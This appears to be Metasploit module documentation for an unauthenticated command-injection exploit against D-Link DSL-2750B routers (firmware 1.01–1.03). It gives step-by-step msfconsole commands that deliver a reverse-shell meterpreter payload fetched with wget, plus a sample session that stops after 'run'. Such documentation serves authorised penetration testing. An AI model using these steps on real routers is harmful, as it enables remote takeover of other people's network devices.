## Description

This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter.
Vulnerable firmwares are 1.01 up to 1.03.

## Verification Steps 

  1. Start msfconsole
  2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth`
  3. Do : `set RHOST [RouterIP]`
  4. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp`
  5. Do : `run`
  6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session


## Scenarios 

```
msf > use exploit/linux/http/dlink_dsl2750b_exec_noauth 
msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp 
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555
LPORT => 5555
msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > run

msf exploit(linux/http/dlink_dsl2750b_exec_noauth) > run
